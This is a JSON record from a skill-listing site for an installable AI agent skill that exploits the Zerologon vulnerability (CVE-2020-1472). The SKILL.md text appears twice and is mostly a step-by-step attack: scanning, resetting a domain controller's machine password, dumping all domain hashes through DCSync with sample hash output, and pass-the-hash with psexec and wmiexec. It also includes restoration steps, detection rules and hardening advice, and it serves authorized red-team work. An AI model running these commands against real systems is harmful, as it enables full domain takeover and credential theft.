[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AERAKMP0E82K74W8PYZBG5":3,"skill-same:01M6AERAKMP0E82K74W8PYZBG5":143},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":67,"repositoryHtmlUrl":68,"repositoryHomepageUrl":69,"ownerHtmlUrl":70,"ownerBlogUrl":71,"ownerDescription":72,"updatedAt":73,"install":74,"resources":87},"01M6AERAKMP0E82K74W8PYZBG5","exploiting-zerologon-vulnerability-cve-2020-1472",null,"Exploits the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol using Impacket to reset a domain controller's machine account password to empty, then runs DCSync via secretsdump.py to dump domain credentials. Use when red-teaming or validating unpatched Active Directory domain controllers for Zerologon, including restoring the machine account password afterward.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"exploiting zerologon vulnerability cve 2020 1472","cve","controller","ms-nrpc","domain-controller","netlogon","cve-2020-1472","zerologon","t1059","t1078","Impacket","directory","dcsync","escalation","privilege-escalation","active-directory","monitoring","verification","code","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-zerologon-vulnerability-cve-2020-1472\ndescription: Exploits the Zerologon vulnerability (CVE-2020-1472) in the Netlogon\n  Remote Protocol using Impacket to reset a domain controller's machine account\n  password to empty, then runs DCSync via secretsdump.py to dump domain credentials.\n  Use when red-teaming or validating unpatched Active Directory domain controllers\n  for Zerologon, including restoring the machine account password afterward.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- zerologon\n- cve-2020-1472\n- netlogon\n- domain-controller\n- privilege-escalation\n- active-directory\n- ms-nrpc\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Platform Monitoring\n- Process Code Segment Verification\n- Stack Frame Canary Validation\n- Segment Address Offset Randomization\n- Process Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\n---\n\n# Exploiting Zerologon Vulnerability (CVE-2020-1472)\n\n## Overview\n\nZerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)\n- No authentication required (unauthenticated exploit)\n- Target DC must not have the February 2021 enforcement mode enabled\n- Impacket toolkit installed\n- Written authorization for red team engagement\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n| T1210 | Exploitation of Remote Services | Lateral Movement |\n| T1003.006 | OS Credential Dumping: DCSync | Credential Access |\n| T1078.002 | Valid Accounts: Domain Accounts | Persistence |\n\n## Vulnerability Technical Details\n\n### Root Cause\n\nThe Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:\n\n1. The IV is hardcoded to **16 bytes of zeros**\n2. When the plaintext is **8 bytes of zeros**, AES-CFB8 produces a ciphertext of **all zeros** with probability **1 in 256**\n3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed\n\n### Affected Systems\n\n- Windows Server 2008 R2 through Windows Server 2019\n- All domain controllers running unpatched Netlogon service\n- Samba versions \u003C 4.8 (if running as AD DC)\n\n## Step 1: Identify Vulnerable Domain Controllers\n\n```bash\n# Scan for domain controllers\nnmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0\u002F24\n\n# Check if DC is vulnerable using zerologon checker\npython3 zerologon_tester.py DC01 10.10.10.1\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.1 -M zerologon\n```\n\n## Step 2: Exploit Zerologon\n\n```bash\n# Using Impacket's CVE-2020-1472 exploit\n# This sets the DC machine account password to empty\npython3 cve_2020_1472.py DC01$ 10.10.10.1\n\n# Expected output:\n# Performing authentication attempts...\n# =========================================\n# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)\n# NetrServerPasswordSet2 call was successful\n# DC01$ machine account password set to empty string\n```\n\n## Step 3: DCSync with Empty Password\n\n```bash\n# Use the empty hash to perform DCSync\nsecretsdump.py -no-pass -just-dc corp.local\u002FDC01\\$@10.10.10.1\n\n# Output includes all domain hashes:\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::\n# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::\n# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::\n\n# Alternatively, dump specific accounts\nsecretsdump.py -no-pass corp.local\u002FDC01\\$@10.10.10.1 \\\n  -just-dc-user Administrator\n```\n\n## Step 4: Obtain Domain Admin Access\n\n```bash\n# Pass the Hash with Administrator NTLM\npsexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n\n# Or use wmiexec for stealthier access\nwmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n```\n\n## Step 5: Restore Machine Account Password (CRITICAL)\n\n**WARNING**: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.\n\n```bash\n# Method 1: Use the exploit's restore functionality\npython3 restorepassword.py corp.local\u002FDC01@DC01 -target-ip 10.10.10.1 \\\n  -hexpass \u003Coriginal_hex_password>\n\n# Method 2: Force machine account password change from DC\n# Connect to DC as Administrator and run:\nnetdom resetpwd \u002Fserver:DC01 \u002Fuserd:CORP\\Administrator \u002Fpasswordd:*\n\n# Method 3: Restart the DC (it will auto-regenerate machine password)\n# This is the safest method but causes downtime\n```\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4742: A computer account was changed\n- Look for: DC$ account with password change\n- Anomaly: Multiple 4742 events for DC$ in short period\n\nEvent ID 5805: Netlogon authentication failure\n- Multiple failures followed by success = Zerologon attempt\n\nEvent ID 4624 (Type 3): Network logon\n- DC$ account logging in from unexpected IP\n```\n\n### Network Detection\n\n```yaml\n# Suricata rule for Zerologon\nalert dcerpc any any -> any any (\n  msg:\"ET EXPLOIT Possible Zerologon NetrServerReqChallenge\";\n  flow:established,to_server;\n  dce_opnum:4;\n  content:\"|00 00 00 00 00 00 00 00|\";\n  sid:2030870;\n  rev:1;\n)\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Zerologon Exploitation Attempt\nstatus: stable\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 5805\n        LogonType: 3\n    timeframe: 5m\n    condition: selection | count(EventID) > 100\nlevel: critical\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2020.1472\n```\n\n## Defensive Recommendations\n\n1. **Apply patches immediately** - KB4571694 (August 2020) and enforce February 2021 mode\n2. **Enable enforcement mode** via registry: `FullSecureChannelProtection = 1`\n3. **Monitor Event ID 5805** for repeated Netlogon failures\n4. **Deploy Microsoft Defender for Identity** (detects Zerologon automatically)\n5. **Network segmentation** - Restrict direct access to DCs from user networks\n6. **Block Netlogon RPC** from non-DC systems where possible\n\n## References\n\n- CVE-2020-1472: https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fvulnerability\u002FCVE-2020-1472\n- Secura Whitepaper: https:\u002F\u002Fwww.secura.com\u002Fblog\u002Fzero-logon\n- CrowdStrike Advisory: https:\u002F\u002Fwww.crowdstrike.com\u002Fblog\u002Fcve-2020-1472-zerologon-security-advisory\u002F\n- CISA Alert AA20-283A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa20-283a\n- Microsoft Enforcement: https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Ftopic\u002Fhow-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24\n","# Exploiting Zerologon Vulnerability (CVE-2020-1472)\n\n## Overview\n\nZerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)\n- No authentication required (unauthenticated exploit)\n- Target DC must not have the February 2021 enforcement mode enabled\n- Impacket toolkit installed\n- Written authorization for red team engagement\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n| T1210 | Exploitation of Remote Services | Lateral Movement |\n| T1003.006 | OS Credential Dumping: DCSync | Credential Access |\n| T1078.002 | Valid Accounts: Domain Accounts | Persistence |\n\n## Vulnerability Technical Details\n\n### Root Cause\n\nThe Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:\n\n1. The IV is hardcoded to **16 bytes of zeros**\n2. When the plaintext is **8 bytes of zeros**, AES-CFB8 produces a ciphertext of **all zeros** with probability **1 in 256**\n3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed\n\n### Affected Systems\n\n- Windows Server 2008 R2 through Windows Server 2019\n- All domain controllers running unpatched Netlogon service\n- Samba versions \u003C 4.8 (if running as AD DC)\n\n## Step 1: Identify Vulnerable Domain Controllers\n\n```bash\n# Scan for domain controllers\nnmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0\u002F24\n\n# Check if DC is vulnerable using zerologon checker\npython3 zerologon_tester.py DC01 10.10.10.1\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.1 -M zerologon\n```\n\n## Step 2: Exploit Zerologon\n\n```bash\n# Using Impacket's CVE-2020-1472 exploit\n# This sets the DC machine account password to empty\npython3 cve_2020_1472.py DC01$ 10.10.10.1\n\n# Expected output:\n# Performing authentication attempts...\n# =========================================\n# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)\n# NetrServerPasswordSet2 call was successful\n# DC01$ machine account password set to empty string\n```\n\n## Step 3: DCSync with Empty Password\n\n```bash\n# Use the empty hash to perform DCSync\nsecretsdump.py -no-pass -just-dc corp.local\u002FDC01\\$@10.10.10.1\n\n# Output includes all domain hashes:\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::\n# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::\n# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::\n\n# Alternatively, dump specific accounts\nsecretsdump.py -no-pass corp.local\u002FDC01\\$@10.10.10.1 \\\n  -just-dc-user Administrator\n```\n\n## Step 4: Obtain Domain Admin Access\n\n```bash\n# Pass the Hash with Administrator NTLM\npsexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n\n# Or use wmiexec for stealthier access\nwmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \\\n  corp.local\u002FAdministrator@10.10.10.1\n```\n\n## Step 5: Restore Machine Account Password (CRITICAL)\n\n**WARNING**: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.\n\n```bash\n# Method 1: Use the exploit's restore functionality\npython3 restorepassword.py corp.local\u002FDC01@DC01 -target-ip 10.10.10.1 \\\n  -hexpass \u003Coriginal_hex_password>\n\n# Method 2: Force machine account password change from DC\n# Connect to DC as Administrator and run:\nnetdom resetpwd \u002Fserver:DC01 \u002Fuserd:CORP\\Administrator \u002Fpasswordd:*\n\n# Method 3: Restart the DC (it will auto-regenerate machine password)\n# This is the safest method but causes downtime\n```\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4742: A computer account was changed\n- Look for: DC$ account with password change\n- Anomaly: Multiple 4742 events for DC$ in short period\n\nEvent ID 5805: Netlogon authentication failure\n- Multiple failures followed by success = Zerologon attempt\n\nEvent ID 4624 (Type 3): Network logon\n- DC$ account logging in from unexpected IP\n```\n\n### Network Detection\n\n```yaml\n# Suricata rule for Zerologon\nalert dcerpc any any -> any any (\n  msg:\"ET EXPLOIT Possible Zerologon NetrServerReqChallenge\";\n  flow:established,to_server;\n  dce_opnum:4;\n  content:\"|00 00 00 00 00 00 00 00|\";\n  sid:2030870;\n  rev:1;\n)\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Zerologon Exploitation Attempt\nstatus: stable\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 5805\n        LogonType: 3\n    timeframe: 5m\n    condition: selection | count(EventID) > 100\nlevel: critical\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2020.1472\n```\n\n## Defensive Recommendations\n\n1. **Apply patches immediately** - KB4571694 (August 2020) and enforce February 2021 mode\n2. **Enable enforcement mode** via registry: `FullSecureChannelProtection = 1`\n3. **Monitor Event ID 5805** for repeated Netlogon failures\n4. **Deploy Microsoft Defender for Identity** (detects Zerologon automatically)\n5. **Network segmentation** - Restrict direct access to DCs from user networks\n6. **Block Netlogon RPC** from non-DC systems where possible\n\n## References\n\n- CVE-2020-1472: https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fvulnerability\u002FCVE-2020-1472\n- Secura Whitepaper: https:\u002F\u002Fwww.secura.com\u002Fblog\u002Fzero-logon\n- CrowdStrike Advisory: https:\u002F\u002Fwww.crowdstrike.com\u002Fblog\u002Fcve-2020-1472-zerologon-security-advisory\u002F\n- CISA Alert AA20-283A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa20-283a\n- Microsoft Enforcement: https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Ftopic\u002Fhow-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24\n",{"name":5,"tags":44,"author":45,"domain":38,"license":15,"version":46,"nist_csf":47,"subdomain":51,"description":7,"mitre_attack":52,"d3fend_techniques":58},[26,25,24,23,33,34,22],"mahipal","1.0",[48,49,50],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[53,54,55,56,57],"T1595","T1190","T1059","T1078","T1068",[59,60,61,62,63],"Platform Monitoring","Process Code Segment Verification","Stack Frame Canary Validation","Segment Address Offset Randomization","Process Analysis","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-zerologon-vulnerability-cve-2020-1472",{"tool":80,"command":81},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-zerologon-vulnerability-cve-2020-1472",{"tool":83,"command":84},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-zerologon-vulnerability-cve-2020-1472","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002FSKILL.md",true,[88,94,98,102,107,113,117,121,125,129,133,139],{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"assets\u002Fposter_html_template.html","ASSET","资产文件",5643,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fpptx-posters\u002Fassets\u002Fposter_html_template.html",{"path":95,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":96,"sourceHtmlUrl":97},"assets\u002Fposter_quality_checklist.md",11172,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fpptx-posters\u002Fassets\u002Fposter_quality_checklist.md",{"path":99,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":100,"sourceHtmlUrl":101},"assets\u002Ftemplate.md",1236,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Fassets\u002Ftemplate.md",{"path":103,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":105,"sourceHtmlUrl":106},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002FLICENSE",{"path":108,"resourceType":109,"resourceTypeDesc":110,"sizeBytes":111,"sourceHtmlUrl":112},"references\u002Fapi-reference.md","REFERENCE","参考文档",2177,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Freferences\u002Fapi-reference.md",{"path":114,"resourceType":109,"resourceTypeDesc":110,"sizeBytes":115,"sourceHtmlUrl":116},"references\u002Fposter_content_guide.md",20361,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fpptx-posters\u002Freferences\u002Fposter_content_guide.md",{"path":118,"resourceType":109,"resourceTypeDesc":110,"sizeBytes":119,"sourceHtmlUrl":120},"references\u002Fposter_design_principles.md",22916,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fpptx-posters\u002Freferences\u002Fposter_design_principles.md",{"path":122,"resourceType":109,"resourceTypeDesc":110,"sizeBytes":123,"sourceHtmlUrl":124},"references\u002Fposter_layout_design.md",22327,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fpptx-posters\u002Freferences\u002Fposter_layout_design.md",{"path":126,"resourceType":109,"resourceTypeDesc":110,"sizeBytes":127,"sourceHtmlUrl":128},"references\u002Fstandards.md",1365,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Freferences\u002Fstandards.md",{"path":130,"resourceType":109,"resourceTypeDesc":110,"sizeBytes":131,"sourceHtmlUrl":132},"references\u002Fworkflows.md",3720,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Freferences\u002Fworkflows.md",{"path":134,"resourceType":135,"resourceTypeDesc":136,"sizeBytes":137,"sourceHtmlUrl":138},"scripts\u002Fagent.py","SCRIPT","脚本",4840,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Fscripts\u002Fagent.py",{"path":140,"resourceType":135,"resourceTypeDesc":136,"sizeBytes":141,"sourceHtmlUrl":142},"scripts\u002Fprocess.py",11566,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-zerologon-vulnerability-cve-2020-1472\u002Fscripts\u002Fprocess.py",[144,174,197,224,250,277],{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":155,"publishedAt":39},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[150],{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[156,157,158,159,160,38,161,162,163,37,164,165,166,167,168,169,170,171,172,173],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":181,"publishedAt":39},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[180],{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},[182,170,183,184,160,185,38,163,36,186,187,188,189,190,191,192,193,194,195,196],"boot","TPM","validating tpm measured boot attestation","policy","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":207,"publishedAt":39},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[203,206],{"categoryNo":204,"categoryName":205,"taxonomyType":153,"taxonomyTypeDesc":154},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},[191,208,209,210,211,38,212,213,36,214,215,216,217,218,219,28,220,221,222,223],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":225,"name":226,"nameZh":6,"description":227,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":228,"categories":229,"keywords":231,"publishedAt":39},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[230],{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},[232,233,234,38,235,236,237,238,239,240,241,242,243,244,245,246,188,247,248,249],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":251,"name":252,"nameZh":6,"description":253,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":254,"categories":255,"keywords":257,"publishedAt":39},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[256],{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},[258,259,260,38,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276],"vulnerabilities","framework","triaging vulnerabilities with ssvc 